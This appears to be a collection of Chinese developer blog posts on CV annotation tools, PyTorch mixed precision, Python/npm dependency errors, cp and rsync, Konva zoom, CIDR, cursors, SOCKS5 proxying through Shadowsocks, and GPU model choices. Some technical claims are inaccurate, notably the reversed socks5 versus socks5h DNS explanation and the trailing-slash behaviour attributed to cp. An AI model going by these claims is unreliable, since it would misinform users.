aiofiles.open(json_file, encoding="utf-8") as f: content = await f.read() data = json.loads(content) if not data: return url = data[0].get("imgHttpUrl") if not url: return async with session.head(url, allow_redirects=True, timeout=aiohttp.ClientTimeout(total=10)) as r: if r.status == 403: print(f"[删除] {json_file}") json_file.unlink() except Exception as e: print(f"[错误] {json_file}: {e}")async def main(): files = list(DATA_DIR.glob("*.json")) sem = asyncio.Semaphore(CONCURRENCY) async def bounded(f): async with sem: await check_file(session, f) async with aiohttp.ClientSession() as session: await asyncio.gather(*(bounded(f) for f in files))asyncio.run(main())按 answer 目录过滤删除(补充场景) 如果是 downloads/ 里没有对应 answer/ 文件就删除,可以改为本地比对: from pathlib import Pathdownloads_dir = Path("downloads") answer_dir = Path("answer")# answer 目录中所有文件名(不带后缀) answer_stems = {f.stem for f in answer_dir.iterdir() if f.is_file()}for file in downloads_dir.iterdir(): if not file.is_file(): continue if file.stem not in answer_stems: print("删除", file) file.unlink()不需要网络请求,纯本地文件对比,速度极快。
SAM3 标注交通牌主体:正负点提示策略
用 SAM3 标注交通标志时,默认分割经常会把灯杆、支架、阴影一起圈进来。关键在于提示点的位置和正负样本的配合。 单点提示(最简方案) 把提示点打在牌面中央,SAM 通常只会分割牌面:牌型 提示点位置圆形限速牌 圆心三角警示牌 三角形中间矩形指示牌 牌面中央points = [[x_center, y_center]] labels = [1] # 1 = foreground正点 + 负点过滤杆子 如果单点还是把杆子带入,加负样本点排除: points = [ [牌面中心x, 牌面中心y], # 正样本 [杆子中间x, 杆子中间y], # 负样本 ] labels = [1, 0] # 1=前景, 0=背景实际调用: masks, scores, logits = predictor.predict( point_coords=np.array(points), point_labels=np.array(labels), multimask_output=True, )# 取得分最高的 mask best_mask = masks[np.argmax(scores)]检测框缩小(配合 Grounding DINO) Grounding DINO 给出的 bbox 通常包含了灯杆,传给 SAM 时手动收缩: def shrink_box(box, ratio=0.85): x1, y1, x2, y2 = box cx, cy = (x1 + x2) / 2, (y1 + y2) / 2 w, h = (x2 - x1) * ratio, (y2 - y1) * ratio return [cx - w/2, cy - h/2, cx + w/2, cy + h/2]tight_box = shrink_box(dino_box, ratio=0.8)masks, scores, _ = predictor.predict( point_coords=None, point_labels=None, box=np.array(tight_box), multimask_output=False, )缩小 15~20% 通常能去掉杆子区域。 mask 面积过滤 有时 SAM 返回多个候选 mask,按面积过滤掉太大或太小的: img_area = image.shape[0] * image.shape[1]valid_masks = [] for mask in masks: area = mask.sum() ratio = area / img_area if 0.01 < ratio < 0.4: # 占图片面积 1%~40% valid_masks.append(mask)交通牌通常不超过画面的 40%,过滤掉背景误判。 完整管线(Grounding DINO + SAM3) from groundingdino.util.inference import load_model, predict from segment_anything import SamPredictor# Step 1: DINO 定位交通牌 boxes, logits, phrases = predict( model=gd_model, image=image, caption="traffic sign", box_threshold=0.35, text_threshold=0.25, )# Step 2: 收缩框 tight_boxes = [shrink_box(b) for b in boxes]# Step 3: SAM 精确分割 predictor.set_image(image) for box in tight_boxes: masks, scores, _ = predictor.predict( box=np.array(box), multimask_output=False, ) # 保存 mask...调参建议 杆子还是出现 → 加负样本点在杆子上,或再缩小 bbox 5% 牌面被切掉 → bbox 缩小太多,调回 ratio=0.9 误检到路面标线 → 提高 DINO 的 box_threshold(0.35 → 0.45) 多块牌聚在一起 → multimask_output=True 后手动选面积最合适的 mask
torch.autocast 混合精度加速:bfloat16 vs float16 怎么选
torch.autocast 是 PyTorch 混合精度(AMP)的核心 API——把部分算子从 FP32 切到 BF16 / FP16,推理速度和训练吞吐都能翻倍,显存也能降 30-50%。 最简用法 推理: import torchmodel = model.cuda().eval()with torch.no_grad(), torch.autocast("cuda", dtype=torch.bfloat16): output = model(input.cuda())训练: model = model.cuda().train() optimizer = torch.optim.AdamW(model.parameters())for x, y in loader: x, y = x.cuda(), y.cuda() optimizer.zero_grad() with torch.autocast("cuda", dtype=torch.bfloat16): pred = model(x) loss = loss_fn(pred, y) loss.backward() optimizer.step()关键:autocast 只包在 forward + loss 计算里,backward 和 optimizer.step() 在外面。 autocast 到底改了什么 进入 autocast 上下文后,PyTorch 会自动选择每个算子的精度:算子类别 会被降精度Linear / Matmul ✅ 用 BF16/FP16Conv2d / Conv3d ✅ 用 BF16/FP16GEMM 类操作 ✅ 用 BF16/FP16Softmax ❌ 保持 FP32(防溢出)LayerNorm ❌ 保持 FP32Loss ❌ 保持 FP32Reduction ❌ 保持 FP32PyTorch 有个内置白名单/黑名单,你不用手动 .half()、不用改模型结构。 bfloat16 vs float16 BF16(bfloat16):✅ 动态范围和 FP32 一样(8 位 exponent),不会像 FP16 那样容易溢出/下溢 ✅ 不需要 GradScaler(训练时不用缩放梯度) ✅ 稳定性接近 FP32,一般不影响 loss ⚠️ 需要 Ampere 及以上(A100、RTX 30 系及以后)——旧卡不支持 ⚠️ 比 FP16 精度低(7 位 mantissa)FP16(float16):✅ 所有现代 GPU 都支持(Volta 起) ✅ 稍快一点(在某些卡上) ⚠️ 容易 NaN(动态范围窄) ⚠️ 必须配 torch.cuda.amp.GradScaler() ⚠️ 大模型容易训崩该选谁:硬件 训练 推理A100 / H100 BF16 BF16RTX 30 / 40 系 BF16 BF16RTX 20 系 / V100 FP16 + GradScaler FP16GTX 10 系及以下 不支持,用 FP32 不支持没有理由用 FP16 训练时选 BF16——除非你的卡不支持。 训练带 GradScaler(FP16 必须) scaler = torch.cuda.amp.GradScaler()for x, y in loader: optimizer.zero_grad() with torch.autocast("cuda", dtype=torch.float16): pred = model(x) loss = loss_fn(pred, y) scaler.scale(loss).backward() scaler.step(optimizer) scaler.update()GradScaler 把 loss 放大再反传,避免小梯度被 FP16 归零。BF16 用了反而干扰训练,别加。 常见坑 1. 输入没上 GPU with torch.autocast("cuda", ...): output = model(input) # input 在 CPU,报错务必: output = model(input.cuda())2. 和 .half() 混用 别这样: model.half() # 全模型转 FP16 with torch.autocast("cuda", dtype=torch.bfloat16): output = model(input)冲突。要么全模型 .half() 不用 autocast,要么用 autocast 不 .half()。混合精度靠 autocast 就够了。 3. CPU 上 autocast 不等价 with torch.autocast("cpu", dtype=torch.bfloat16):CPU 上 autocast 支持有限,别期望和 GPU 一样效果。CPU 推理想加速走 torch.compile 或 ONNX Runtime。 4. 自定义 op 不支持 BF16 第三方 op / native extension 如果没写 BF16 kernel,autocast 会 fallback 到 FP32——不是报错,只是没加速效果。 5. 推理不用 GradScaler # 推理 with torch.no_grad(), torch.autocast("cuda", dtype=torch.bfloat16): output = model(x)torch.no_grad() 和 autocast 一起用最省显存。 加速效果参考 Transformer 类模型(LLaMA 7B、Qwen 8B 之类)BF16 vs FP32:推理速度:1.8 – 2.3x 显存占用:约 50% 精度损失:几乎无(bf16 动态范围和 fp32 一致)CNN 训练(YOLO 之类):训练吞吐:1.3 – 1.7x 显存节省:30 – 45% mAP:几乎无差一句话总结 Ampere 及以上 GPU 就用 torch.autocast("cuda", dtype=torch.bfloat16),无需 GradScaler、稳定性接近 FP32。老卡 / V100 才考虑 FP16 + GradScaler。别和 model.half() 混用。
Python 依赖版本冲突:requires-python 约束与 numpy/torch 的 Python 版本限制
报错解读 × No solution found when resolving dependencies for split (markers: python_full_version == '3.8.*'): Because numpy>=1.26.0 depends on Python>=3.9,<3.13, we can conclude that numpy>=1.26.0 cannot be used on Python 3.8.这不是 numpy 装不上,而是 requires-python 声明的范围与依赖的 Python 要求相矛盾:项目声明支持 Python>=3.8 numpy>=1.26 要求 Python>=3.9,<3.13 求解器为 Python 3.8 找不到满足条件的 numpy 版本,报 No solution found修复方案 收窄 requires-python 范围(推荐): # pyproject.toml [project] requires-python = ">=3.9,<3.13" # 或更保险 requires-python = ">=3.10,<3.13"这是现代 ML/CV 依赖(numpy>=1.26、torch>=2、OpenCV)能稳定运行的范围。 如果必须保留 Python 3.8(不推荐): numpy==1.24.4 # 最后支持 Python 3.8 的 numpy 版本但 torch>=2、transformers、sam 等几乎都不再支持 3.8,维护成本极高。 Python 版本与主要 ML 库支持范围库 最低 Python 最高 Pythonnumpy >= 1.26 3.9 3.12torch >= 2.0 3.8 3.12torch >= 2.3 3.9 3.12transformers >= 4.40 3.8 3.12统一建议:Python 3.10 或 3.11,兼容范围最广,且有长期支持。 triton 只支持 Linux + CUDA × No solution found when resolving dependencies: Because only triton==0.4.1...2.1.0 are available and triton has no wheels for Windowstriton 是 GPU kernel 编译库,官方只发布 Linux + CUDA 的 wheel,在 Windows 上无法通过 pip 安装。 处理方式: # 将 triton 设为可选依赖,或仅在 Linux 下安装 [project.optional-dependencies] gpu = ["triton>=2.0; sys_platform == 'linux'"]或者在 Windows 开发环境使用 WSL2 / Docker。 uv 常用排查命令 # 查看当前 Python 版本 uv python list# 指定 Python 版本安装 uv pip install numpy --python 3.11# 查看依赖树 uv pip show numpy# 锁定依赖版本 uv pip compile pyproject.toml -o requirements.txt
uv 依赖冲突:requires-python 太宽 + Windows 装 triton 的双坑
上一个 CV 项目,uv sync 直接崩: × No solution found when resolving dependencies for split (markers: python_full_version == '3.8.*'): ↳ Because the requested Python version (>=3.8) does not satisfy Python>=3.9.0 and numpy>=1.26.0 depends on Python>=3.9,<3.13, we can conclude that numpy>=1.26.0 cannot be used.看起来是"numpy 装不上",其实是 Python 版本范围和依赖范围打架。 症状识别:requires-python 太宽 pyproject.toml 里如果写了: requires-python = ">=3.8"uv 会尝试为 3.8 / 3.9 / ... / 3.12 全部找一套解。numpy ≥ 1.26 要求 Python ≥ 3.9,Python 3.8 直接被排除——solver 认为"你说要支持 3.8,但 3.8 没解",结论:无解。 解法:收紧 requires-python 改成现代 AI 项目实际支持的范围: requires-python = ">=3.10,<3.13"理由:numpy ≥ 1.26 要求 Python ≥ 3.9 torch 2.x + Windows 的 wheel 覆盖到 3.12 3.13 太新,很多 native wheel 还没出之后 uv sync 通常就过了。 另一坑:Windows 上 triton 无解 同一个项目继续装: uv pip install triton× No solution found: triton<=2.1.0 has no wheels with a matching Python ABI tag (e.g., cp312) triton>=2.2.0 has no wheels with a matching platform tag (win_amd64)不是版本冲突,是 triton 官方根本不出 Windows wheel。Linux 有 manylinux_x86_64,macOS 部分版本有,Windows 是空白。 Windows 上处理 triton 的三条路 方案 A:上 WSL2(推荐) 装个 Ubuntu,在里面: python3.11 -m venv venv source venv/bin/activate pip install triton torchCUDA、torch、triton 生态齐活。 方案 B:直接放弃 triton 只是跑 inference 或 demo,很多模型不强依赖 triton: uv remove triton代码里如果有 import triton,包一层 try/except 或者按平台条件装: [project.optional-dependencies] gpu = ["triton; sys_platform == 'linux'"]方案 C:走 Linux 服务器 有云 GPU 就直接扔上去,从头就没 Windows 这个问题。 uv 常用的调试思路 # 看清依赖树里谁在拉某个包 uv tree | grep numpy# 只解析不装,快速试冲突 uv lock# 指定用某个 Python uv sync --python 3.11# 显式约束某个包 uv add "numpy>=1.26,<2"一句话总结 uv 报 no solution,先看两点:requires-python 范围是不是包了依赖不支持的旧 Python、目标平台是不是根本没轮子。Windows 上装 triton 是无解,别死磕。
npm ERR! cb() never called 修复:npm 与 Node.js 版本不兼容的根因
npm ERR! cb() never called! 看起来像 npm 内部崩溃,但真正的根因通常是 npm 版本与当前 Node.js 版本不兼容。 最常见根因:版本不匹配 错误表现: ERROR: npm v11.17.0 is known not to run on Node.js v14.21.3. This version of npm supports the following node versions: `^20.17.0 || >=22.9.0`.SyntaxError: Unexpected token '&&=' at wrapSafe (internal/modules/cjs/loader.js:1029:16)npm 11 内部使用了 &&= 逻辑赋值运算符,这是 ES2021 特性,Node.js 14 不支持,导致 npm 自身启动时语法解析失败。 解决方案:切换 Node.js 版本 # 查看当前版本 node -v npm -v# 用 nvm 切换到兼容版本 nvm install 22 nvm use 22# 验证 node -v # v22.x.x npm -v # 10.x.x 或更高通用修复流程 如果版本兼容但仍然报错: 1. 升级 npm npm install -g npm@latest2. 清理缓存重装 npm cache clean --force rm -rf node_modules rm package-lock.json npm installmacOS 还可以删除整个 npm 缓存目录: rm -rf ~/.npm3. 切换国内镜像 国内网络拉包失败时: npm config set registry https://registry.npmmirror.com npm install4. 老项目依赖冲突 npm install --legacy-peer-depsnpm 与 Node.js 版本对照npm 版本 最低 Node.js 要求npm 11 Node.js 20.17 / 22.9+npm 10 Node.js 18+npm 9 Node.js 14.17+npm 8 Node.js 12+用 nvm 安装 LTS 版本可以拿到对应版本的 npm: nvm install --lts nvm use --lts
Linux cp 报错 cannot overwrite non-directory with directory:原因和解决方法
cp -r pojie/ wpa-dictionary/pojie # cp: cannot overwrite non-directory 'wpa-dictionary/pojie' with directory 'pojie/'这个错误不是 cp 参数写错,而是目标路径 wpa-dictionary/pojie 已经存在一个普通文件,不是目录。 诊断 ls -ld wpa-dictionary/pojie如果输出以 - 开头,说明是普通文件: -rw-r--r-- 1 root root 1234 Jun 15 wpa-dictionary/pojie如果是目录会以 d 开头: drwxr-xr-x 2 root root 4096 Jun 15 wpa-dictionary/pojie解决方案 方案 1:删除目标文件后再复制 rm -f wpa-dictionary/pojie cp -r pojie wpa-dictionary/方案 2:复制到不同名称 cp -r pojie wpa-dictionary/pojie_backup方案 3:先移动目标文件 mv wpa-dictionary/pojie wpa-dictionary/pojie.bak cp -r pojie wpa-dictionary/cp 目录行为说明 cp -r src dst 的行为取决于 dst 是否存在:目标是否存在 行为dst 不存在 把 src 复制为 dst(改名)dst 是目录 把 src 整体放进 dst/srcdst 是普通文件 报错:cannot overwrite non-directory例如: # 目标目录 backup/ 不存在 cp -r project/ backup/ # 结果:backup/ 就是 project/ 的副本# 目标目录 backup/ 已存在 cp -r project/ backup/ # 结果:backup/project/(嵌套了一层)注意末尾斜杠的影响:cp -r pojie/ dst 和 cp -r pojie dst 行为可能不同(前者复制内容,后者复制整个目录)。 rsync 作为替代 目录同步推荐用 rsync,语义更清晰,且支持增量更新: # 把 pojie/ 的内容同步到 wpa-dictionary/pojie/ rsync -av pojie/ wpa-dictionary/pojie/# 只复制新文件,跳过已存在的 rsync -av --ignore-existing pojie/ wpa-dictionary/pojie/# 删除目标中源没有的文件(镜像同步) rsync -av --delete pojie/ wpa-dictionary/pojie/rsync 在处理已存在目标时不会报上面的错误,会直接合并或覆盖。
Konva.js 滚轮缩放与平移:以鼠标为中心缩放 Stage 的正确实现
scale() vs width()/height() 缩放单个图片节点有两种方式: // scale():保持节点尺寸不变,视觉上缩放 imageNode.scale({ x: 2, y: 2 });// width()/height():真正修改节点尺寸 imageNode.width(600); imageNode.height(400);两者的区别在于 scale() 不改变节点的逻辑尺寸(width()/height() 返回值不变),而后者实际修改了尺寸。大多数场景用 scale() 更灵活。 标注工具:缩放整个 Stage 如果 Stage 上同时有图片和标注框(Rect/Line),不要缩放单个图片节点,应缩放整个 Stage: stage.scale({ x: newScale, y: newScale }); stage.position(newPos); stage.batchDraw();这样图片、标注框、文字所有节点都会同步缩放,坐标关系保持一致。CVAT、LabelImg 等标注工具都使用这种方式。 滚轮缩放(以鼠标位置为中心) const SCALE_BY = 1.05;stage.on('wheel', (e) => { e.evt.preventDefault(); const oldScale = stage.scaleX(); const pointer = stage.getPointerPosition(); // 鼠标在画布坐标系中的位置(排除当前 scale 和偏移) const mousePointTo = { x: (pointer.x - stage.x()) / oldScale, y: (pointer.y - stage.y()) / oldScale, }; const newScale = e.evt.deltaY > 0 ? oldScale / SCALE_BY // 向下:缩小 : oldScale * SCALE_BY; // 向上:放大 // 限制缩放范围 const clampedScale = Math.max(0.1, Math.min(newScale, 20)); stage.scale({ x: clampedScale, y: clampedScale }); // 调整偏移,使鼠标下方的点保持不动 stage.position({ x: pointer.x - mousePointTo.x * clampedScale, y: pointer.y - mousePointTo.y * clampedScale, }); stage.batchDraw(); });核心思路:缩放前记录鼠标在画布坐标系(未缩放坐标)的位置,缩放后重新计算 Stage 偏移使该点回到鼠标位置,从而实现"以鼠标为中心"的缩放效果。 拖拽平移 stage.draggable(true);启用后可以直接拖动整个 Stage。如果需要区分拖拽图片和拖拽画布,禁用 stage.draggable() 改为手动处理: let isDragging = false; let lastPos = null;stage.on('mousedown', () => { isDragging = true; lastPos = stage.getPointerPosition(); });stage.on('mousemove', () => { if (!isDragging) return; const pos = stage.getPointerPosition(); stage.position({ x: stage.x() + pos.x - lastPos.x, y: stage.y() + pos.y - lastPos.y, }); lastPos = pos; stage.batchDraw(); });stage.on('mouseup', () => { isDragging = false; });坐标系转换:获取原图坐标 点击事件的 stage.getPointerPosition() 返回的是屏幕坐标,需要转换为原图坐标: stage.on('click', () => { const pointer = stage.getPointerPosition(); const scale = stage.scaleX(); const imageX = (pointer.x - stage.x()) / scale; const imageY = (pointer.y - stage.y()) / scale; console.log('原图坐标:', imageX, imageY); });
CIDR 表示法:/24、/32 的含义和只匹配单个 IP 的写法
CIDR(无类别域间路由)用"IP地址/前缀长度"表示一段 IP 范围,前缀长度决定有多少个 IP 被包含在内。 /24 不等于单个 IP 43.255.122.56/24 表示前 24 位固定,等价于: 43.255.122.0 - 43.255.122.255共 256 个地址,包含 43.255.122.56,但也包含同网段的所有其他地址。 只匹配单个 IP:使用 /32 IPv4 地址是 32 位,/32 表示所有 32 位都固定: 43.255.122.56/32 → 仅匹配 43.255.122.56配置防火墙、ACL、路由规则、Cloudflare IP 规则时,允许或封禁单个 IP 都应使用 /32: # iptables iptables -A INPUT -s 43.255.122.56/32 -j ACCEPT# Nginx allow 43.255.122.56/32;如果不要求 CIDR 格式,直接写 IP 不加后缀也等同于 /32: 43.255.122.56常用前缀长度对照写法 匹配范围 地址数x.x.x.x/32 仅这一个 IP 1x.x.x.x/31 2 个(常用于点对点链路) 2x.x.x.x/30 4 个 4x.x.x.x/29 8 个 8x.x.x.x/28 16 个 16x.x.x.0/24 256 个(常见局域网段) 256x.x.0.0/16 65536 个 65536x.0.0.0/8 16777216 个(A 类网络) 167772160.0.0.0/0 所有 IPv4 地址 全部前缀长度与地址数的计算 地址数 = 2^(32 - 前缀长度)/32 → 2^0 = 1 /24 → 2^8 = 256 /16 → 2^16 = 65536网络地址与广播地址 在标准 IPv4 子网中,最小地址(如 43.255.122.0)是网络地址,最大地址(43.255.122.255)是广播地址,可用主机地址是中间的 254 个。但在防火墙规则和 CIDR 匹配中,这个区分通常不重要,/24 就是匹配全部 256 个地址。
HTML 自定义鼠标指针:十字准星、全屏辅助线与 CSS cursor 类型
跟随鼠标的十字准星 用 ::before 和 ::after 绘制十字线,mousemove 更新位置: <style> #crosshair { position: fixed; width: 20px; height: 20px; pointer-events: none; /* 不阻挡下层元素的鼠标事件 */ z-index: 99999; }#crosshair::before, #crosshair::after { content: ""; position: absolute; background: red; }/* 垂直线 */ #crosshair::before { left: 50%; top: 0; width: 1px; height: 100%; transform: translateX(-50%); }/* 水平线 */ #crosshair::after { top: 50%; left: 0; width: 100%; height: 1px; transform: translateY(-50%); } </style><div id="crosshair"></div><script> const crosshair = document.getElementById("crosshair");document.addEventListener("mousemove", (e) => { crosshair.style.left = `${e.clientX - 10}px`; crosshair.style.top = `${e.clientY - 10}px`; }); </script>pointer-events: none 让准星元素"透明"——鼠标事件穿透到下层元素。 全屏辅助线(贯穿整个视口) <style> .guide-h, .guide-v { position: fixed; pointer-events: none; z-index: 99999; opacity: 0.4; }.guide-h { width: 100vw; height: 1px; left: 0; background: #00aaff; }.guide-v { height: 100vh; width: 1px; top: 0; background: #00aaff; } </style><div class="guide-h" id="guideH"></div> <div class="guide-v" id="guideV"></div><script> const guideH = document.getElementById("guideH"); const guideV = document.getElementById("guideV");document.addEventListener("mousemove", (e) => { guideH.style.top = `${e.clientY}px`; guideV.style.left = `${e.clientX}px`; }); </script>水平线跟随 clientY,垂直线跟随 clientX,始终贯穿整个视口。 显示/隐藏辅助线(快捷键切换) let visible = true;document.addEventListener("keydown", (e) => { if (e.key === "h") { // 按 H 键切换 visible = !visible; guideH.style.display = visible ? "block" : "none"; guideV.style.display = visible ? "block" : "none"; } });CSS cursor 常用值 /* 标注/选择场景 */ cursor: crosshair; /* 十字准星 */ cursor: cell; /* 单元格十字 *//* 拖拽场景 */ cursor: grab; /* 手型(可拖拽) */ cursor: grabbing; /* 手型(拖拽中)*/ cursor: move; /* 四方向箭头 *//* 调整大小 */ cursor: col-resize; /* 左右调宽 */ cursor: row-resize; /* 上下调高 */ cursor: nwse-resize; /* 左上-右下对角 */ cursor: nesw-resize; /* 右上-左下对角 *//* 缩放 */ cursor: zoom-in; cursor: zoom-out;/* 禁止操作 */ cursor: not-allowed;自定义图片作为鼠标 .custom-cursor { cursor: url("/img/cursor.png") 8 8, crosshair; /* url(...) 8 8 表示热点坐标(点击点相对图片左上角的偏移) */ /* 第二个值是 fallback cursor,浏览器不支持时使用 */ }图片尺寸建议不超过 128x128px,PNG 格式,透明背景。 Canvas 中覆盖系统鼠标 // 隐藏系统鼠标指针 canvas.style.cursor = "none";// 在 Canvas 内自行绘制准星 canvas.addEventListener("mousemove", (e) => { const rect = canvas.getBoundingClientRect(); const x = e.clientX - rect.left; const y = e.clientY - rect.top; ctx.clearRect(0, 0, canvas.width, canvas.height); // ... 重绘内容 ... // 绘制准星 ctx.strokeStyle = "red"; ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(x - 10, y); ctx.lineTo(x + 10, y); ctx.moveTo(x, y - 10); ctx.lineTo(x, y + 10); ctx.stroke(); });Canvas 场景下用 cursor: none + 手动绘制是最常见的方式,可以精确控制准星样式和动画。
Python 通过 Shadowsocks SOCKS5 代理发送请求
核心原理 Python 不能直接解析 Shadowsocks 协议。标准做法是: Python ↓ SOCKS5 sslocal (本地 1080 端口) ↓ Shadowsocks 协议 远端 SS 服务器 ↓ 明文 目标网站先用 Shadowsocks 客户端在本地起一个 SOCKS5 代理,Python 通过这个代理访问外网。 方法一:requests[socks](推荐) 安装: pip install requests[socks]使用: import requestsproxies = { "http": "socks5://127.0.0.1:1080", "https": "socks5://127.0.0.1:1080" }r = requests.get( "https://httpbin.org/ip", proxies=proxies, timeout=10 )print(r.json())socks5:// 使用远端 DNS 解析;如果想让本地 DNS 解析,换成 socks5h://。 方法二:PySocks 全局劫持 安装: pip install pysocks设置全局默认代理,之后所有 socket 连接都走 SOCKS5: import socket import sockssocks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 1080) socket.socket = socks.socksocketimport requestsr = requests.get("https://httpbin.org/ip") print(r.json())适合需要代理所有网络调用(requests、httpx、urllib 等)的场景,但会影响进程内所有 socket,慎用。 方法三:环境变量 export ALL_PROXY=socks5://127.0.0.1:1080 export HTTPS_PROXY=socks5://127.0.0.1:1080 export HTTP_PROXY=socks5://127.0.0.1:1080或者在 Python 代码里设置: import osos.environ["ALL_PROXY"] = "socks5://127.0.0.1:1080"import requestsr = requests.get("https://httpbin.org/ip") print(r.json())requests 会自动读取 HTTP_PROXY / HTTPS_PROXY / ALL_PROXY 环境变量。 在代码里启动 sslocal 如果想让 Python 程序自己管理 Shadowsocks 子进程: import subprocess import time import requestsproc = subprocess.Popen([ "sslocal", "-s", "服务器IP", "-p", "8388", "-k", "密码", "-m", "aes-256-gcm", "-l", "1080" ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)time.sleep(1) # 等待 sslocal 就绪proxies = { "http": "socks5://127.0.0.1:1080", "https": "socks5://127.0.0.1:1080" }try: r = requests.get("https://httpbin.org/ip", proxies=proxies, timeout=10) print(r.json()) finally: proc.terminate()sslocal 来自 shadowsocks-libev 或 shadowsocks-rust 包,需要提前安装。 验证代理是否生效 import requestsproxies = { "http": "socks5://127.0.0.1:1080", "https": "socks5://127.0.0.1:1080" }r = requests.get("https://httpbin.org/ip", proxies=proxies, timeout=10) print(r.json()) # 返回的 origin IP 应为代理服务器 IP,不是本机 IP
目标检测辅助标注:GroundingDINO、SAM2 与 Florence-2 实用指南
为什么需要辅助标注 手动标注几万张图片耗时数周,且容易出现漏标和错标。开放词汇检测(Open-Vocabulary Detection)模型可以:输入文字描述的类别 直接输出检测框 人工只做最终校验流程: 原始图片 ↓ GroundingDINO(文字→检测框) ↓ 人工检查 + 修正 ↓ YOLO 训练GroundingDINO:文字驱动检测 不需要预先训练,直接用类别名称描述来检测: from groundingdino.util.inference import load_model, load_image, predictmodel = load_model("groundingdino_swint_ogc.pth", "config.py") image_source, image = load_image("image.jpg")boxes, logits, phrases = predict( model=model, image=image, caption="car . truck . person . traffic light", box_threshold=0.35, text_threshold=0.25 )caption 用英文句点分隔类别,box_threshold 控制检测置信度。返回的 boxes 是归一化的 (cx, cy, w, h) 格式,可直接转为 YOLO 标签。 3060Ti 8G 可运行:GroundingDINO-SwinT(轻量,速度快) GroundingDINO-SwinB(更准,显存要求更高)SAM2:检测框转 Mask SAM2(Segment Anything Model 2)在 GroundingDINO 输出的框基础上生成精确分割轮廓: from sam2.build_sam import build_sam2 from sam2.sam2_image_predictor import SAM2ImagePredictorsam2 = build_sam2("sam2_hiera_small.pt", device="cuda") predictor = SAM2ImagePredictor(sam2)predictor.set_image(image_np)# 用 GroundingDINO 的框作为 prompt masks, scores, _ = predictor.predict( box=boxes_xyxy, # [x1, y1, x2, y2] multimask_output=False )组合效果: GroundingDINO(框)+ SAM2(Mask)= 实例分割标注适合标注车辆、行人等需要精确轮廓的场景。 Florence-2:一键生成多种格式 微软的 Florence-2 是视觉语言模型,支持多种任务: from transformers import AutoProcessor, AutoModelForCausalLMmodel = AutoModelForCausalLM.from_pretrained("microsoft/Florence-2-large") processor = AutoProcessor.from_pretrained("microsoft/Florence-2-large")# 开放词汇检测 inputs = processor( text="<OPEN_VOCABULARY_DETECTION>car", images=image, return_tensors="pt" ) outputs = model.generate(**inputs) result = processor.decode(outputs[0], skip_special_tokens=False)支持的任务标签:<OD> — 通用目标检测 <CAPTION> — 图像描述 <OPEN_VOCABULARY_DETECTION>类别 — 指定类别检测 <OCR> — 文字识别Qwen2.5-VL:标注质量审核 GroundingDINO 标注后,用 Qwen2.5-VL 批量审核: # 伪代码示例 for image, label in dataset: response = qwen_vl.chat( image=image, question="图中的标注框是否正确?是否有漏标?" ) if "错误" in response or "漏标" in response: flag_for_review(image)批量过滤低质量标注,减少人工检查量。 推荐工具:X-AnyLabeling X-AnyLabeling 是集成了上述模型的图形化标注工具: pip install x-anylabeling x-anylabeling内置 GroundingDINO、SAM2、YOLO 等模型,支持:点击即分割 批量自动预标注 导出 YOLO、COCO、VOC 格式标注流程建议 1. 用 GroundingDINO 批量预标注(自动化) 2. X-AnyLabeling 打开,批量审查明显错误 3. SAM2 对需要 Mask 的目标细化边界 4. Qwen2.5-VL 辅助审核复杂场景 5. 导出 YOLO 格式,开始训练第一轮训出小模型后,用模型自身的预测结果辅助后续标注,形成正向循环(主动学习)。
RTX 3060 Ti 能跑哪些 AI 模型:LLM、OCR、YOLO 全景
RTX 3060 Ti(8GB 显存)是个甜点卡,覆盖了 LLM 推理、YOLO 训练、OCR、图像生成等主要本地 AI 场景。 LLM 大语言模型 流畅运行(推荐) 量化后直接跑,速度可接受:模型 4bit 显存Qwen3-4B 2~3 GBQwen3-8B(4bit) 4~6 GBLlama 3.2 3B 2~3 GBGemma 3 4B 2~3 GB勉强可用Qwen3-14B(需要部分层卸载到 CPU) Llama 3.1 8B(长上下文时速度明显下降)不推荐Qwen3-32B、DeepSeek-R1 原版、70B 级模型——需要 24GB+ 显存或多卡。工具推荐:Ollama(最简单)、LM Studio(有 GUI)、vLLM(高吞吐推理)。 OCR工具 适用场景PaddleOCR / PP-OCRv5 中文、表格、票据,CPU 也能跑Surya 复杂文档,精度高EasyOCR 部署最简单Qwen2.5-VL-7B 复杂界面截图,可输出结构化 JSON对于包含布局和表格的文档,PaddleX 的 PP-StructureV3 可以直接输出 HTML 或 Excel。 YOLO + OCR 组合是工业自动化常见方案: 截图 → YOLO 找目标框 → PaddleOCR 读文字 → 业务逻辑这比直接上 VL 大模型快几十倍。 YOLO 训练型号 状态YOLOv8n / YOLO11n 完全没问题YOLOv8s / YOLO11s 完全没问题YOLOv8m / YOLO11m 可以,batch 调小YOLOv8l / YOLOv8x 较吃力,batch=1~2 或降图片尺寸自动标注:GroundingDINO + SAM2 GroundingSAM2 是最强的自动标注组合: 文字提示("car", "person") → GroundingDINO 找框 → SAM2 生成分割轮廓 → 自动生成标注文件优点:开放词汇检测,不需要重新训练类别。 各模型比较:模型 支持任意类别 自动标注质量GroundingSAM2 ✅ ⭐⭐⭐⭐⭐⭐GroundingDINO SwinB-QInt8 ✅ ⭐⭐⭐⭐⭐GroundingDINO SwinT-QInt8 ✅ ⭐⭐⭐⭐DEIMv2-DINOv3(COCO) ❌ 只支持训练类别 ⭐⭐⭐如果数据量很大(几万张),先用 SwinT 批量跑,再人工抽查修正。 多模态 VLMQwen2.5-VL-7B:图片问答、OCR、表格识别、UI 截图分析 Qwen2.5-VL-3B:更轻量,3060Ti 跑很轻松 MiniCPM-V 4.5:轻量多模态用途:图片问答、自动生成标注描述、分析网页截图。 图像生成Stable Diffusion 1.5 / SDXL(低分辨率):512×512 很舒服 FLUX.1-dev:需要量化版,显存刚好够用语音Whisper:视频转字幕,中文效果强 CosyVoice / GPT-SoVITS:语音克隆,几秒样本就能复刻声线IndexedDB 中提取图片 如果标注数据存在浏览器 IndexedDB 里,可以用控制台导出: const req = indexedDB.open("数据库名");req.onsuccess = () => { const db = req.result; const store = db.transaction("Video2DImage", "readonly").objectStore("Video2DImage"); store.getAll().onsuccess = e => { e.target.result.forEach((item, i) => { const blob = item.image || item.data || item.blob; if (!blob) return; const url = URL.createObjectURL(blob); const a = document.createElement("a"); a.href = url; a.download = `${i}.jpg`; a.click(); setTimeout(() => URL.revokeObjectURL(url), 1000); }); }; };数量很多时建议用 JSZip 打包成 zip 后统一下载,避免浏览器拦截大量弹窗。 推荐配置(32GB 内存 + 3060Ti) Qwen3-8B → 代码助手、日常问答 